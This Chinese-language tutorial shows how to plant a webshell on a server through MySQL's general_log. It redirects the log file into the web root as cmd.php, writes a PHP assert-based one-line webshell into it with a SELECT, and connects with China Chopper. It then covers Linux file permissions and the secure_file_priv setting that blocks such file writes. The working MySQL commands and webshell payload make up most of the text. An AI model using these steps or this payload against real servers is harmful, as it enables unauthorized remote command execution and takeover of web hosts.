Mysql利用general_log Getshell

感觉这种方式和redis通过持久化定时任务道理一样,都是通过命令修改系统配置来实现。
Windows下用phpstudy测试:
查看general_log的配置情况

mysql> show global variables like "%genera%";
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| general_log      | OFF            |
| general_log_file | E:/WWW/cmd.php |
+------------------+----------------+
2 rows in set (0.02 sec)
mysql> set global general_log='on';
Query OK, 0 rows affected (0.12 sec)
mysql> SET global general_log_file='E:/WWW/cmd.php';
Query OK, 0 rows affected (0.01 sec)
mysql> show global variables like "%genera%";
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| general_log      | ON             |
| general_log_file | E:/WWW/cmd.php |
+------------------+----------------+
2 rows in set (0.00 sec)
mysql> SELECT '<?php @assert($_POST["cmd"]);?>';
+---------------------------------+
| <?php @assert($_POST["cmd"]);?> |
+---------------------------------+
| <?php @assert($_POST["cmd"]);?> |
+---------------------------------+
1 row in set (0.00 sec)

查看文件内容

使用菜刀连接即可。

Linux下测试,首先需要Mysql有Web目录的写入权限,这里先将Web目录权限改为777,然后看一下生成的general_log文件的权限
[root@server120 html]# ls -al cmd.php
-rw-rw—- 1 mysql mysql 177 5月  26 10:33 cmd.php
发现文件权限是660,即默认的apache启动账户apache是没有读权限的。这里和umask设置没有关系。

vim /etc/profile
if [ $UID -gt 199 ] && [ "`id -gn`" = "`id -un`" ]; then
    umask 002
else
    umask 022
fi

这里的权限如果uid大于199,umask就是002,所对应用户创建的文件权限是666-002=664,目录权限是777-002=775。而general_log文件的权限为660,所以和umask的配置没关系。

MySQL中有一个名为secure_file_priv的全局系统变量。这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。

如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。

如果变量为空,则不会产生影响,引起不安全的配置。

如果变量设置为NULL,那么服务器就会禁用导入和导出操作。

在/etc/my.cnf中【mysqld】下新增

secure_file_priv=/tmp/

测试:

mysql> select * from test union select 1 into outfile '/opt/mysql.txt';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

mysql> select * from test union select 1 into outfile '/tmp/mysql.txt';

Query OK, 4 rows affected (0.00 sec)